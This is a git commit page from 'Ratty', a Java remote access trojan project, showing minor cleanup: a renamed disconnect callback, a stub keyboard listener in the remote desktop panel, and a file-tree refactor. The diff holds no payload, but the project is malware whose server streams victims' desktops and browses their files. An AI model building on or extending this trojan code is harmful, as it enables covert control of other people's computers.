Browse Source

Minor changes

Cleaned up
master
Sogomn 9 years ago
parent
commit
8653655681
  1. 2
      Ratty/src/de/sogomn/rat/ActiveClient.java
  2. 2
      Ratty/src/de/sogomn/rat/IClientObserver.java
  3. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  4. 7
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  5. 11
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

2
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -87,7 +87,7 @@ public final class ActiveClient extends TCPConnection {
}
if (observer != null) {
observer.disconnected(this);
observer.clientDisconnected(this);
}
}

2
Ratty/src/de/sogomn/rat/IClientObserver.java

@ -6,6 +6,6 @@ public interface IClientObserver {
void packetReceived(final ActiveClient client, final IPacket packet);
void disconnected(final ActiveClient client);
void clientDisconnected(final ActiveClient client);
}

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -14,7 +14,7 @@ public final class Trojan implements IClientObserver {
}
@Override
public void disconnected(final ActiveClient client) {
public void clientDisconnected(final ActiveClient client) {
final String address = client.getAddress();
final int port = client.getPort();

7
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -29,6 +29,7 @@ public final class DisplayPanel {
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen.setBackgroundColor(Color.BLACK);
screen.addKeyboardListener(this::keyEvent);
screen.addListener(g -> {
g.drawImage(image, 0, 0, null);
});
@ -36,6 +37,12 @@ public final class DisplayPanel {
return screen;
}
private void keyEvent(final int key, final boolean flag) {
if (controller != null) {
//TODO
}
}
private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
final Graphics2D g = image.createGraphics();

11
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -27,6 +27,11 @@ import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.util.FrameEncoder.IFrame;
/*
* THIS CLASS IS A MESS!
* I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES
*/
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
private RattyGui gui;
@ -213,7 +218,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
@Override
public void disconnected(final ActiveClient client) {
public void clientDisconnected(final ActiveClient client) {
final ServerClient serverClient = getServerClient(client);
final long id = serverClient.id;
@ -258,7 +263,9 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
serverClient.setStreamingDesktop(false);
gui.setStreaming(lastIdClicked, false);
} else if (command == RattyGui.FILES) {
serverClient.getTreePanel().setVisible(true);
final FileTreePanel treePanel = serverClient.getTreePanel();
treePanel.setVisible(true);
}
}

Loading…
Cancel
Save